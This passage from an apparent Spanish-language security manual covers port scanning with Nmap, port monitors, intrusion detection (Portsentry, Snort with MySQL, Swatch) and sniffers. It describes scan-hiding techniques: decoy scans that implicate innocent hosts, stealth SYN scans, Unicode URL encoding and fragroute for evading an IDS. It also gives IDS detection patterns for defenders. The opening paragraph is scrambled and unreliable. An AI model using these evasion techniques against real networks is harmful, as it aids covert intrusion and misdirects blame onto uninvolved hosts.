entrar intrusos a nuestros sistemas. por lo que deducimos que son servidores. la palabra state (estado). TCP o UDP. En la muestra anterior vemos al lado derecho.

X-Netstat Éste es un programa mucho mejor que el Netstat. 123. para un administrador.. la zona de descarga para la versión Linux y Windows e inclusive la forma de configurarlo.123 es la máquina blanco. señuelo2. Si se llega a establecer la conexión. En la página oficial del Nmap se encuentra toda la información en su manual de usuario. confirmando que el puerto está a la escucha. Es una tarea muy difícil el tratar de encontrar el verdadero orígen del ataque de entre 10 ó 15 direcciones IP. Puede bajarse en foma para compilarse o como binario. que es el bit que indica que la conexión ha terminado o que se rechaza. quedará registrada nuestra dirección IP y se nos pondrá bajo acción legal. cuesta unos pocos dólares y se puede descargar desde la página http://www. 93 .123 donde los señuelos son las direcciones IP inocentes y YO es la máquina propia. señueloN] 123. incluyendo la nuestra. Se recopilan un buen bonche de direcciones IP y se lanza un escaneo de esta manera: nmap -D señuelo1[. devuelve un paquete con el par de bits SYN|ACK activados. se envía un paquete con el bit RST activado.123. señuelo3. aunque se recomienda la primera opción. Este bit se usa en el protocolo TCP para que la máquina remota supiera que se quería contactar con ella y comenzara las gestiones necesarias. Normalmente. pero si en ese preciso instante. Es necesario configurar los servidores para que registren los escaneos furtivos que pudieran no llegar a ser registrados en los logs.eeye.. Si se sospecha que el sistema blanco puede detectar los escaneos ocultos. YO.. delatan casi con certeza que se está gestando un ataque.123. pero desafortunadamente no tiene los mismos resultados. se puede utilizar la técnica de los decoy scans (escaneos señuelo). Si está de acuerdo en iniciar diálogo. Recordemos que el hacker debe conocer qué puertos mantiene abiertos un servidor. pero también están los programas que hacen comprobaciones de los estados de los puertos. La secuencia inicial en estos casos es comenzar a enviar algún dato para establecer la comunicación. en vez de seguir enviando datos.com/xns X-Netstat es un programa útil para comprobar lo que se maneja en nuestro sistema. Esto es básico para evaluar la seguridad del sistema. La máquina victimizada recibirá ataques aparentemente lanzados desde todas las direcciones que se hayan puesto. Nmap Este programa es el más famoso de escaneadores (puede verse en la película Matrix Reloaded) y se puede descargar desde la página http://insecure. Ésta técnica consiste básicamente en implicar a algunas máquinas inocentes que estén activas en ese momento.freshsw.123.org/nmap/ Originalmente creado para Linux.com). Una de sus mayores ventajas es la posibilidad de realizar escaneos de puertos sin ser detectado. Tanto el Netstat como el X-Netstat son del tipo de programas que monitorizan. detectar conexiones que comprueban sistemáticamente los puertos del 1 al 49151 -los usados como servidores-. Muestra en la parte inferior los puertos TCP y UDP que se mantengan abiertos y en la parte superior podemos ver las conexiones que esta realizando nuestra computadora. fue porteado a Windows por la empresa Eeye (www. como el Nmap. Aquí hay que recordar el bit SYN que mencionamos en el capítulo TCP (Transmission Control Protocol). Habremos comprobado el estado de los puertos pasando completamente inadvertidos. Decoy Scans Otra de las ventajas del Nmap es la posibilidad de realizar escaneos pseudoanónimos. entonces la conexión realmente no habrá existido y no quedará registrada en el servidor.123.

123 Starting nmap V2.123 Con este tipo de escaneo. como veremos más adelante.x.Escaneo Dumb Host Abrimos una consola en Linux y tecleamos lo siguiente cuidando los espacios: nmap -sl x.123. que no es de utilidad para escanear puertos. pero permite saber qué máquinas estan vivas y responden a estos pings.123. puede acarrearnos diversos problemas legales si la dirección pertenece a un host verdadero en uso. también el sistema que nos hayamos marcado como objetivo (123.x escuche un proxy. OS detection will be MUCH less reliable Interesting ports on 123. pero del mismo modo. Los troyanos suelen instalarse para escuchar en los puertos altos.x.org/nmap/) Insufficient response for TCP sequencing (1).x.x. pero se ofrecen resultados muy similares.x. y de esto se aprovechan los programas de este tipo.0 Server SP5 + 2047  Hotfixes.123. corresponderá con un sistema Windows.123. Windows NT4 SP3. Ejemplo: nmap ­O 123.123.123. con el 99% de seguridad. conocido en castellano como Host Tonto.x) a través del puerto :P. el Nmap intentará averiguar con qué sistema operativo estamos tratando. perteneciente al NetBios.org (www. de los que hablaremos más adelante.123): The 1510 ports scanned but not shown below are in state closed Port  21/tcp 80/tcp 139/tcp 443/tcp State open open open open Service ftp http netbios­ssn https Remote OS guesses: Windows NT4 / Win95 / Win98.53 by Fiodor@insecure. Con la opción -O.123 (123. Para obtener la ayuda del programa tecleamos: C:∖>programas∖nmap1>nmap -win_help 94 . Es necesario que en la dirección que pongamos en x.123.123) cree que el ataque proviene de un sistema inocente (x. Nmap nos da la posibilidad de rastrear un rango de IPs enviándoles un ping. En Winxx las opciones difieren un poco con respecto del que se creó para Linux.insecure.x [:P] 123. Se supone que estos puertos son solo usados para hacer de clientes. solo son abiertos por Winxx o Linux exclusivamente.x. para pasar inadvertidos a herramientas escaneadoras.123.   Microsoft NT 4. Puede cubrirnos las espaldas. Aunque muchas veces existen evidencias claras como puertos que.123. Casi siempre el puerto 139. Es posible configurar el servidor para que ignore tales pings.123.

por supuesto. si tenemos un servidor FTP. pero que no están a la escucha. algunos traen más o menos opciones. 95 . Para el resto de las personas o direcciones IP. combinar los clientes y las técnicas para poder comunicarse a través de algún puerto abierto y extraer los datos que desea. etc. pero sí que nos da una idea de lo que el mundo exterior puede llegar a saber de nosotros. Un hacker que ve a nuestra máquina como en un servidor de datos. puede tener acceso a puertos o servicios que a una máquina remota no le están permitidos. etc. se podrán ver la cantidad de puertos (o sockets) cliente que se abren en segundos. Escaneo Basado en Web Cuando se habla de “nuestro servidor”. Si usamos un router. Si montamos una página web. sino por los programas que escuchan detrás de ellos. se incluye. Si ejecutamos un escaneador de puertos en nuestra propia máquina y luego el X-Netstat al mismo tiempo. no tiene porque coincidir lo que nos muestra Nmap ejecutado localmente y sobre nuestra propia máquina con los resultados que personas o máquinas con otra dirección IP pueden llegar a saber de nosotros. Si no disponemos de un escáner de puertos en la máquina donde estamos trabajando y no podemos instalar nada. Hay que mantenerse atentos a los Remote Hosts en busca de direcciones sospechosas donde acudiesen datos. estaremos exponiendo a nuestra máquina al peligro. El programa X-Netstat muestra en la parte inferior de la pantalla los puertos que se tienen abiertos. Los puertos que debemos tener abiertos son aquellos que vayamos solamente a necesitar. Esto nos indicaría que nuestra máquina se ha conectado a un servidor desconocido sin nuestra autorización. son los que maneja el cliente y no son indicativo de que puedan entrar a través de ellos (porque no hay un programa servidor atrás escuchando en ellos). solo tiene que dar con la manera de que esos datos les sean servidos. nos mostrará el gateway o proxy que nos proporcione la conexion. Si nos conectamos desde una red interna. en vez de tener un banner en la propia página. por distintas circunstancias. en veces podrá bloquear también puertos. Estas previsiones no son porque el tener puertos abiertos sea un problema de seguridad en sí. visitando una página.. cortafuegos.Existen varios tipos de escaneadores de puertos y cada uno tiene opciones similares. Que algún sujeto. Esto es análogo a dejar nuestra casa con puertas y ventanas abiertas de par en par mientras dormimos en la noche. En veces. sería el puerto 80. Pero no es motivo de alarma ya que se establecen cientos de conexiones sin que seamos concientes de ello. configurara un servicio para que solo admita conexiones desde su dirección IP. simplemente indican que nuestra máquina se está comunicando con otra. a nuestra computadora de escritorio o laptop. este tipo de escaneo no es muy fiable para comprobar los puertos de la propia máquina. todos en busca de puertos servidores a la escucha. los puertos que se encuentran abiertos en nuestro sistema. se nos redirige a un servidor especial de banners publicitarios. en la máquina remota. por lo que es nuestra máquina la que abre un nuevo puerto hacia ese servidor sin darnos cuenta. privilegios. ya sea porque es pública o simplemente debido a que no nos pertenece. Un ejemplo de esto es cuando se carga una página web con publicidad. Nos permitirán conocer. Lo verdaderamente peligroso sería al revés. Si tenemos en nuestro servidor muchos puertos abiertos. el puerto estaría cerrado o no existiría y sólo él tendría permiso explícito para establecer una conexión. Hay que recordar que los puertos que están hablando. por ejemplo. por lo tanto. podemos hacer uso de los escaneadores de puertos que existen en Internet. Esta es una buena manera de comprobar la diferencia entre un monitorizador y un escáner de puertos. Los Puertos y la Seguridad Los puertos abiertos en un servidor son como una puerta de entrada por donde ingresan las conexiones. Es necesario tener en mente que una cosa es conexión y otra diferente es la comunicación. Debemos tener en mente que si nuestra máquina hace de cliente y servidor a la vez. el 21.

Existen muchos escaneadores web. por lo que debemos tomar acciones ante el atacante. Del mismo modo. A diferencia de éste. esto es lo más recomendable y lo más sano. esto es cuando se accede a muchos puertos seguidos o consecutivos o. de este modo no aceptará más conexiones por su parte. Éstas acciones de negación son las que se llevan a cabo en conjunto con un cortafuegos. Detección y Seguridad contra Escáneres No es necesario ser un profeta para poder deducir que un escaneo de puertos es casi el preludio de un ataque inminente. Existen varios programas en el Internet que nos posibilitan detectar los accesos sospechosos a puertos. quién se está intentando conectar y de qué manera. La cuestión aquí es dejarlo todo por la paz.com.sygate. Puede ser descargado desde la página siguiente. intentos de conexión y hasta devolverle el “favorcito”. Algunas aplicaciones legítimas intentan acceder a puertos no usados y serán detectadas por error y consideradas por el programa como atacantes. en nuestra computadora.: http://packetstormsecurity. Siendo que es totalmente configurable. Portsentry El Centinela de Puertos en español. 96 . Sabrá que lo hemos descubierto. El programa meterá la IP en una lista negra (black list) con la que contrastará y cotejará todos los accesos mientras no le especifiquemos lo contrario. Uno de ellos es http://scan. Si detecta el típico movimiento sospechoso de un escáner como son el acceso a puertos consecutivos de manera rápida o acceso a puertos cerrados. No es infalible. tema de los que nos ocuparemos en el siguiente capítulo. Él atacante se dará cuenta de que no es bien recibido y se alejará. pero debemos tener cuidado de que solo haga el escaneo sobre nuestra propia IP y no sobre la proxy-cache de nuestro DSL de la compañía de teléfonos. sean o no legítimas. Una cosa que hay que tener en cuenta es que debe ejecutarse justo después de haberse conectado al Internet. porque al parecer su página oficial ha desaparecido. De nada vale servirse un plato frío de venganza. Estas acciones no se deben confundir con las de un cortafuegos aunque las actividades sean similares. Por otro lado. se pueden emprender acciones como enviarle mensajes.gz PortBloker Este es un programa muy parecido al Portsentry. PortBloker no es tan dinámico a la hora de responder. sencillamente./probe. Es un programa que. a muchos puertos a la vez desde una máquina remota. nombre de la PC y es en estos casos donde debemos preocuparnos porque es demasiada información la que tiene. no solo denegándole el acceso. detectará el tipo de actividad que hemos mencionado anteriormente. Los siguientes programas caen dentro de la categoría de IDS (Intrusion Detection Systems) o Sistemas de Detección de Intrusos. de otra forma el programa no funcionará correctamente. Incluso puede llegar a bloquear los servidores DNS y como consecuencia no poder navegar por la web. el programa podrá responder de otras formas al atacante. Su manejo e instalación son considerablemente sencillos.1tar.org/UNIX/IDS/portsentry-1. En muchos casos será capaz de averiguar nuestro Sistema Operativo. Portsentry no está por el momento disponible para la plataforma Windows. Se pone a escuchar en los puertos no usados para vigilar las conexiones. pero es para Windows. y solo negarle el acceso. una de las desventajas del portsentry es que puede provocar muchos problemas si no es configurado adecuada y concienzudamente. no tomar represalias. bloqueará la dirección IP de donde provenga el escaneo. Esto debe alertarnos porque para las comunicaciones habituales se debe acceder solamente al puerto necesario y no de modo aleatorio a aquellos puertos que están o pueden estar cerrados.html.

También podría incluir la expulsión de un usuario del sistema. En un principio. todos los reportes sobre eventos ocurridos en una computadora eran registrados y entregados por técnicos en papel.Sistemas de Detección de Intrusos Todo Sistema Operativo cuenta con un proceso de registro y almacenamiento de eventos y lo hace a través de bitácoras también conocidas como logs. y los registra en un log que puede ser revisado posteriormente por el administrador o los operadores del sistema. Cabe la posibilidad de configurar al detector para que nos envíe por email un reporte. Los IDS se encargan de detectar posibles intrusiones al sistema que pudieran ser ataques o abusos. Algunos programas emiten una señal sonora de alarma aunque normalmente se limitan a registrar el evento en una base de datos. detectan y responden a la actividad que pudiera considerarse sospechosa. automatizar los procesos de registro de eventos en sus máquinas. indicarle los patrones que se sospechan pueden ser peligrosos. Para que un IDS sea eficaz. la compañía estadounidense Bell Telephone System decidió. Qué visita a quién y cuándo lo hace. Anderson. no fue sino hasta 1980 cuando James P. páginas html dinámicas con gráficos o incluso correos con la información necesaria. Esta idea iniciaría el desarrollo de los futuros IDS. escudriñando el tráfico en busca de cualquier paquete susceptible de contener en su interior código no deseado. De hecho. Estos patrones deben de ser actualizados regularmente debido a que a diario surgen nuevas formas de ataque. Se recomienda definir cautelosamente lo que puede ser un ataque y lo que no. quién viene desde el exterior y qué es lo que busca en nuestra red. Con los registros se estudiaba el comportamiento de los usuarios. Detección: Los IDS emplean políticas (que son reglas totalmente configurables desde el mismo sistema) que ayudan a definir las actividades sospechosas de todo ese tráfico que provocarían una alarma si es que coinciden. En este sentido actúa igual que un Sniffer (que detallaremos ampliamente más adelante). En cuestiones de seguridad. Los falsos negativos. Sin embargo. como el escaneo de puertos. 97 . Monitoreo: El IDS se mantiene vigilante de la red. ocurren cuando el sistema no detecta un ataque y lo deja pasar. siglas en ingles de Sistemas de Detección de Intrusos -Intrussion Detection System. muchos gustan de utilizarlos como tal. estos registros permiten conocer las distintas vulnerabilidades y ayudan a prevenirlas en lo futuro. Funciones de los IDS Los IDS proporcionan tres funciones esenciales de seguridad: monitorizan. La computadora era capaz de almacenar cronológicamente los eventos importantes que iban ocurriendo dia a dia. pues se pueden generar falsos positivos. el aislamiento de la máquina mediante la desconexión de la tarjeta de red. tras estudiar detenidamente el problema del análisis de las bitácoras de registro. en la década de los cincuenta. es necesario configurarlo adecuadamente. A esto se le conoció como Electronic Data Process (Proceso Electrónico de Datos). etc. se creaban patrones estadísticos para definir el comportamiento del estos y detectar si alguien había secuestrado una cuenta. Anteriormente. ideó un mecanismo para que automatizara la tarea de revisión de registros. Respuesta: Esta alarma puede venir en forma de ejecución de archivos en el sistema. etc.

 Gopher. es exactamente lo mismo poner GET /admin/HTTP/1. Clasificaciones de los IDS Una de las muchas clasificaciones que se pueden hacer de los IDS es por su individualidad o colectividad. Una buena muestra de programas de este tipo puede ser NetRanger. cualquier intento de acceso diferente al nuestro estará desautorizado por naturaleza. Este tipo de direcciones permite  98 . Las  identificar objetos WWW. pero tienen la gran desventaja de que sobrecargan las máquina.anaya. Por ejemplo haciendo uso del unicode. Dentro de los más famosos se encuentran Dragon Squire y EventWatch. aunque permanezca aislada del mundo exterior. Se podría crear una regla en nuestro IDS que buscara un “GET /admin/HTTP/1.snort. éste último muy confiable y sencillo de usar. la letra a es %61 y la b es %62. Para una organización que posea servidores conectados a Internet.es> o <ftp://ftp. Ejemplos de URL son: <http://www.640 formas diferentes de representar.1 que GET /%61dmin/HTTP/1.060.> direcciones se componen de protocolo. usando unicode sobre IIS. Como existe una equivalencia. NFR y Snort (www. Unicode también proporciona un número para cada caracter. Sin duda. Igual si existe un servidor de datos en una red local. FQDN y dirección local del documento dentro del servidor. y Tripwire y SWATCH. para la plataforma Windows. en busca de técnicas sospechosas. FTP. abarcan letras de muchos alfabetos y es independiente de la plataforma. Podríamos traducir los caracteres en su forma hexadecimal. News.Un ejemplo concreto podría ser la detección de un ataque a través de URL 21. Estos son llamados Host IDS y son implementados en sistemas que poseen datos muy críticos. son una modalidad recientemente aparecida que posibilita controlar la entrada (input) que se introduce en cualquier aplicación. la @ (arroba) es %40. Los Host IDS son excelentes como defensa contra los raptos de cuentas de usuario o detección de archivos alterados. lo que nos indicaría casi probablemente alguna aviesa intención por parte de la persona que haya originado la petición. El unicode se inventó a partir de la popularidad del Internet y la necesidad de los servidores de recibir peticiones en cualquier idioma del planeta. que vigilan el tráfico de red en vez de solo una máquina. o Network IDS.1 En realidad. Si nuestra página web tiene un directorio especial llamado www. “AEIOU”. El unicode puede verse básicamente como el conjunto de caracteres ASCII donde se asocia cada símbolo con un número. si se dedican a monitorizar a uno o más hosts en una red.org) del que hablaremos más adelante por ser uno de los IDS gratuitos más populares y mejor conocido. los más interesantes son los NIDS. Dragon. 21 Uniform Resource Locator (Localizador Uniforme de Recursos) Sistema unificado de identificación de recursos en la red. es decir. Pero algunos de estos ataques pueden pasar inadvertidos si el atacante tiene un poco de imaginación. por ejemplo. dan formato a los resultados y generan alarmas. Los Application IDS. el “.ati.1” en la red. el espacio. resulta mucho más interesante conocer qué tráfico circula por sus redes. pero estos son muchos más. %20. Existen programas que monitorizan los eventos generados en una sola computadora. habría hasta 83.com/admin/ desde donde actualizamos vía web los contenidos. por ejemplo. el programa o lenguaje.midominio.” es %2e.

org/~dugsong/fragroute/ Hasta el momento. ataque que describiremos más adelante) o bien mediante herramientas que disimulan la información que deambula por la red. puede hacer ponderantemente más lento el rendimiento. anula casi toda posibilidad de reconocimiento de ataques. analizar todo el tráfico de una red en tiempo real. Por otro lado. El IDS tiene que reordenar la información para poder procesarla. Esto es además de los problemas añadidos de tratamiento unificado de la información que proporcionará cada uno. El programa puede ser descargado desde: http://www. Lo que hace el programa es trocear la información en paquetes más pequeños. sería un gasto desorbitado colocar un IDS en cada segmento. el IDS puede tener problemas para capturar todo el tráfico necesario. ya sea saturándolo de tráfico a analizar (Denegación de servicios. falla en el intento. Programas útiles Tanto en Winxx como en Linux.  99 . Tampoco pueden hacer mucho en contra de la cuestión de fragmentación de paquetes TCP. de las formas más enrevesadas posibles. En redes conmutadas (por switches). /var/log/IDS­scans 22SSL Secure Socket Layer (Capa de Conexión Segura) Protocolo creado por Netscape con el fin de posibiltar la transmisión cifrada y  segura de información a través de la red.Desventajas de los IDS No es fácil implantar los IDS en sistemas críticos o con ciertas características particulares. el hecho de que el ataque se lleve a cabo de manera cifrada (SSH o SSL22). Por ejemplo.sourceforge.subject=­ ¡Alerta Snort! exec echo $0 &gt. Un desventaja. como con cualquier herramienta destinada a la protección de sistemas. un sujeto llamado Dug Song programó una herramienta que podía eludir todos los IDS comerciales. y si la tarea es muy complicada.net y se ejecuta de la manera siguiente: swatch -c /etc/swatchrc -t /var/log/messages que indican el archivo de configuración y desde donde se almacenan los registros. en redes en las que los datos viajan demasiado rápido. Los IDS sufren de serias dificultades ante el problema del cifrado. donde los distintos segmentos de la red no tienen la capacidad de “ver” el resto del tráfico. En 2002. el programita cumple con su cometido a la hora de burlar una muy buena cantidad de IDS. podremos encontrar programas que se encargan de estudiar los logs en tiempo real y envían alertas configurables cuando encuentran patrones predefinidos.&gt. Dos de los mejorcitos son el Swatch para Linux y el Eventsentry para Windows. volviendo invisibles sus verdaderas intenciones. por ejemplo. o el tráfico que entra y sale de un solo host. Al basarse su funcionamiento en la comparación de patrones conocidos.monkey. Swatch puede descargarse desde http://swatch. Existen IDS que guardan las bitácoras de registro en lotes que revisan cada cierto tiempo especificado. No todos recurren al tiempo “real”. El archivo de configuración tiene un aspecto muy parecido a esto: watchfor /IDS/ echo bold mail addresses=admin. es la propia vulnerabilidad ante ataques destinados a burlar la vigilancia del IDS.

no se deben alojar los logs dentro de la propia máquina. los IDS resultan de gran ayuda para determinar el alcance del daño y hasta poder dar caza al intruso.1. Lo de nivel no tiene el  significado de "calidad" como alguien podría pensar.netikus. Eventsentry es un programa para windows fácil de usar y cuya versión mejorada es de pago y se puede descargar desde http://www. por lo que una cadena larga de “%90” viajando hacia un host.ASM 100 . En este caso. Contra estas técnicas se están investigando formas de detectar estos códigos tal y como se hace con las firmas de los virus. Antes que nada.168. Un elaborado registro de incidencias ocurridas en la red. Si lo encuentra lo mostrará en negritas (bold). Esto requiere conocimiento de lenguaje ensamblador23 (assembler) ya que se trabaja a muy bajo nivel.html?SESSION= . con el contenido de los paquetes de cada visita es imprescindible para realizar una buena labor de investigación. En la arquitectura de los procesadores x86.polito. Estos tienen 3 elementos diferenciadores que los hacen difíciles de detectar: La parte NOP consecutivos es convertida en una serie aleatoria de instrucciones que también concluyen en un efecto nulo para el procesador. IDS y los Desbordamientos de Búfers (Buffers) Los IDS también pueden prevenir los desbordamientos de búfers (Buffer Overflow). de modo que al atacante se le facilita tomar el control del puntero de la pila y provocar que apunte hacia el código que desee ejecutar sobre la víctima. no aspecta nada bueno.it. donde se ejecutará el servidor de datos.0. Ya sabemos lo sencillo que es para un atacante que sabe lo que hace (o cree saber) eliminar los logs. enviará un correo con un asunto y ejecutará lo que se le diga. donde correrá el detector de intrusos y la máquina MYSQL 192. en un sistema remoto que almacene los registros y que permitan ser consultados cómodamente. Se dice que es de bajo de nivel ya que están más cerca al lenguaje máquina. un potente servidor de datos. lo que hace que se convierta en un montón de caracteres aleatorios aparentemente sin sentido. Ambos son la pareja ideal. Los archivos llevan extensión . En los días tempranos. Supongamos que tenemos la máquina SNORT 192. en código máquina. Se llama WinpCap y debe ser instalada tanto para usar el Snort como cualquier otro sniffer. la línea que contenga el patrón será almacenada aparte en /var/log/IDS-scans.Swatch buscará el patrón IDS en los logs. Hay que recordar que estos son fallos en los programas que provocan un error en la pila (stack) del sistema.0. Por último.168. Lo mejor es instalar una base de datos como MySql. pero para hacer esto. 23Lenguaje de programación de bajo nivel que se usa para escribir programas pequeños incluídos los virus. Se puede descargar desde http://winpcap. por lo que se suelen usar instrucciones de NOP (No Operation) para hacer encajar todas las piezas en el procesador.net/products_downloads. el  lenguaje assembler se usó siempre. Lo mejor de todo es que es gratuito y de código libre. la instrucción NOP se simboliza con %90. el propio motor que descifra el código (que puede variar de un exploit a otro) usando técnicas similares a las de los virus. SNORT Snort es el la quintaesencia de las herramientas de detección de intrusos. el búfer donde se inyecta el código es mayor que el código a inyectar. Por lo general. una simple regla en el IDS es suficiente.2. debemos descargar una librería que Winxx no posee y de la que no podemos prescindir para la realizar las labores de sniffer (tema que veremos más adelante) y poder capturar el tráfico de la red. Hoy solo se usa cuando la velocidad es esencial o cuando la tarea no es posible en el lenguaje de Alto  nivel que nosotros estamos usando. A la hora de realizar labores de forense posteriores a un ataque. El código shell está ahora cifrado. Para prevenir esto. Snort se puede usar con MySql. por lo que resultan equivalentes. El problema surge con los shellcodes polimórficos.

Lo primero es configurar la seguridad.0/24 La variable EXTERNAL_NET nos indica qué monitorizar de lo que venga de “afueras”. Lo normal es dejarlo por defecto con el valor “any” que equivale a “todo”. Una vez ejecutado mysql. Para su configuración.0.168. tecleamos desde la línea de comandos: mysql>create database snort. podemos indicarlo así: var HOME_NET 192.168.0.Cuando se está instalando./rules” que significa que escala un directorio para encontrarlo. lo primero que pregunta nos Snort es si deseamos soporte para FlexResp.. es necesario indicarlo de este modo: 192. Preguntará también si queremos soporte para MS SQL Server.168. Lo más importante es asegurarnos que Snort encuentra las reglas vigilando la variable var RULE_PATH Por defecto viene con el valor “. Configurando Mysql Nos vamos a la máquina que dará alojo a la base de datos. por lo que debemos abrirlo y modificarlo con el Wordpad. aunque resulta más cómodo ejecutar simplemente C:\>net start mysql Con C:\mysql\bin\mysql tendremos acceso a la consola.user set password=PASSWORD('clave') where user='root'. mysql> FLUSH PRIVILEGES. Para funciones de administrador de la base de datos. podremos encontrar la información necesaria para afinar la herramienta a nuestro gusto. sigue la filosofía Linux. Ahora es necesario crear la estructura en la base de datos MYSQL para que albergue los datos de Snort. Se instala como un servicio más que escucha en el puerto 3306. que permite cerrar conexiones cuando se reconoce un patrón. se puede ejecutar la herramienta gráfica winmysqladmin.1/32 Si se quiere monitorizar la red entera 192. Es mejor cambiar su valor por var RULE_PATH C:\snort\rules La variable HOME_NET nos dice qué se quiere monitorizar dentro de nuestra red. Si solo se desea monitorizar el propio host. Para cambiar la contraseña de root: mysql>update mysql. Hay que notar que el archivo se encuentranen formato Unix.conf ubicado en C:\snort\etc\.exe y pulsar sobre “Start Service”. y en el archivo snort.. que no es el caso. Instalar Mysql para Windows resulta fácil. que resulta bastante autoexplicativo. Lo demás puede dejarse por defecto.x. 101 . aunque es conveniente informarse de todas las posibilidades de la base de datos.

podemos conectarnos desde cualquier máquina al servidor de la base de datos de la manera siguiente. Posteriormente crearemos un usuario que tenga los permisos requeridos para usar la tabla. .exe podremos ver en la pestaña “Databases” como la base de datos snort ha sido creada y contiene todas las tablas que nos interesan. Desde el programa gráfico winmysqladmin. Si al final no se ha registrado nada. observar. deberemos esperar algunos minutos a que snort identifique un posible ataque. Nótemos que Snort permanece en memoria y el servidor mysql aparece en la bandeja del sistema representado por un semáforo en verde.2 -u snortusr -pclave Una vez conectados: mysql>select * from snort.168.0.* to snortusr@192. nos salimos con el comando quit y ejecutamos desde la línea de comandos: C:\mysql -D snort <C:\snort\contrib\create_mysql Y con esto.conf.event. Solamente hay que tener cuidado de indicarle al programa en la instalación que debe compilarse con la opción de soporte para MySql. Si no se dispone de otros clientes gráficos. Existe una versión gratuita disponible para descargarse desde http://ems-hitech. actualizar.Para asegurarnos de que trabajamos bajo la base de datos de snort. C:\mysql\bin>mysql -D snort -h 192. habrá que repasar los pasos anteriores.168./configure -with-mysql= usr/lib/mysql 102 . verificando que ambos servicios permanecen activos. En la tabla event se guardan los índices de los eventos (ataques o sospechas de snort). Si no hay ninguno.delete on snort. los pasos son análogos y las modificaciones son las mismas. solo el usuario snortusr que entre a la máquina SNORT y se identifique adecuadamente tendrá permiso para añadir. Volvemos a la consola C:\mysql\bin\mysql y tecleamos: mysql> grant insert.create. Para volver a entrar a la consola como root. mysql>FLUSH PRIVILEGES. dentro de la base de datos snort habremos creado las tablas necesarias con la sintaxis propia de mysql para que el snort pueda guardar la información.2 identified by 'clave'. select update. Los datos deben coincidir con los que se van a añadir en snort. Así.0. debemos teclear: C:\mysql\bin> mysql -u root -pclave Un administrador gráfico que nos puede interesar es EMS-MySql Manager para Windows. crear tablas y borrar registros dentro de la base de datos snort.com/mymanager/ Instalación en Linux La instalación en Linux de Snort es bastante similar. en la línea del output (salida) comentada más arriba.

Con la opción -c se le indica la ubicación del archivo de configuración. $ mkdir /var/log/snort 24Daemon (o Demonio) Abreviación de las palabras inglesas Disk and execution monitor (Monitor de Disco y Ejecución). Los Demonios  están presentes en todos los sistemas UNIX y desempeñan tareas que no requieren intervención del usuario. Para arrancarlo.cnf la línea skip_networking está comentada. en caso de no estarlo. Como en todo comando de Linux.conf Con el parámetro -D se le indica que corra como Daemon (demonio24). no trabajará correctamente.Los usuarios de Debian deben confirmar que en el archivo /etc/mysql/my. con -b que registre los paquetes al estilo tcpdump lo que le da velocidad.  Un ejemplo de demonio presente en los sistemas UNIX es el LPD  (Line Printer Daemon). son independientes. los parámetros deben ser colocados exactos.  Las personas más familiarizadas con Windows pudieran comparar a los demonios y las tareas de que son responsables con los “servicios”. los parámetros más utilizados son: $ snort -D -b -c /snort.  103 . Tampoco debemos olvidar que es necesario crear el directorio de los logs de antemano con el comando mkdir. No es lo mismo -d que -D. es decir. respetando mayúsculas y minúsculas .

AppleTalk). como detectarlos.x. Veamos el funcionamiento.168. La dirección IP de un gateway (o puerta de enlace) a menudo se parece a 192.x. necesariamente deberá tener instaladas 2 interfaces de red. Un gateway es normalmente un equipo informático configurado para hacer posible a las máquinas de una red local (LAN) conectadas a él.x. Si de por sí. Esta capacidad de traducción de direcciones permite aplicar una técnica llamada IP Masquerading (enmascaramiento de IP).x. les de acceso hacia una red exterior. si que hace posible conectar 2 redes independientes haciendo uso del ya mencionado NAT. como es que funcionan y lo más importante. Un router lo que hace es conectar redes que utilicen el mismo protocolo (por ejemplo. Pero un router solo puede conectar redes que utilicen el mismo protocolo. que engloban o se reservan a las redes locales. cuando lo que se quiere es conectar redes con distintos protocolos.x.x. Se supone que el paquete de información sólo lo recibe la máquina a la cual va destinado. En la cabecera de cada paquete de información está incluída la dirección de la máquina a la cual va destinado el paquete de información. Es una puerta de acceso. teniendo lugar una conversión completa de protocolos hasta la capa de aplicación del modelo de referencia OSI. si bien esta puerta de enlace no conecta 2 redes con protocolos diferentes. un sistema con problemas de seguridad ya es un dolor de cabeza. NetBIOS. sueñan con sniffers.x. usada muy a menudo para dar acceso a Internet a los equipos de una red de área local compartiendo una única conexión a Internet. 172. ya que este dispositivo hace posible traducir las direcciones y formatos de los mensajes entre diferentes redes.168.Introducción a Los Sniffers Cuando los administradores de sistemas tienen pesadillas. generalmente realizando para ello operaciones de traducción de direcciones IP (NAT: Network Address Translation).1 o 192. IP. bridges o routers. Las redes Ethernet trabajan mandando los paquetes de información por un mismo canal compartido por todas las máquinas. se utiliza un gateway. 192.x. Cada subred.x. Gateways o Pasarelas Un gateway es un dispositivo que permite interconectar redes con protocolos y arquitecturas diferentes a todos los niveles de comunicación. 10. una única dirección IP externa. se pueden conectar esos concentradores a unos routers (enrutadores).x. Este capítulo tiene como objetivo revisar los sniffers existentes más populares. Lo más usual es que las máquinas estén organizadas en una red de tipo Ethernet.1 y utiliza algunos rangos predefinidos. Hay que notar que no tiene porqué ser sólo un router o gateway. y que dicha red esté conectada a Internet (o a una subred de Internet) mediante sus correspondientes routers o gateways que serán las máquinas que mantengan a dicha red Ethernet en contacto con el resto de los integrantes de la red. dividida en varias subredes y así sucesivamente. Su propósito es traducir la información del protocolo utilizado en una red al protocolo usado en la red de destino. lo es más si tiene instalado un sniffer operando y robando los secretos más íntimos de la empresa y sus passwords importantes. En entornos domésticos se usan los routers ADSL como gateways para conectar la red local doméstica con la red que es Internet. y por tanto. puede estar a su vez. La red Internet es un conjunto de subredes comunicadas entre sí mediante máquinas llamadas gateways (también conocidas como puertas de enlace o pasarelas). En caso de usar una computadora como gateway. Entonces.0.x. En las redes los dispositivos concretos se interconectan entre ellos mediante concentradores o conmutadores (switches). 127. una misma red puede tener varios para comunicarse con el exterior. Cuando se quiere agrupar esos dispositivos en grupos. 104 .x.1.

